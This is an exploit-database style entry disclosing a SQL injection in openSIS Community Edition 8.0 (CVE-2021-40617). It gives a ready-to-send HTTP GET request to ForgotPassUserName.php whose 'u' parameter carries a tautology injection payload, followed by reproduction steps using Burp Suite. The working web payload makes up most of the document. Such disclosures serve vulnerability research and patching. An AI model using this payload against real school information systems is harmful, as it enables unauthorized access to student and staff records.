# Exploit Title: openSIS Community Edition 8.0 - SQL Injection # Date: 2025-11-25 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/OS4ED/openSIS-Classic # Software Link: https://github.com/OS4ED/openSIS-Classic # Version: 8.0 # Tested on: Windows # CVE : CVE-2021-40617 Proof Of Concept GET /ForgotPassUserName.php?used_for=username&u=test%27%20OR%20%271%27%3D%271&user_type=student HTTP/1.1 Host: opensis Connection: close Steps to Reproduce Login as an admin user. Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie. Observe the result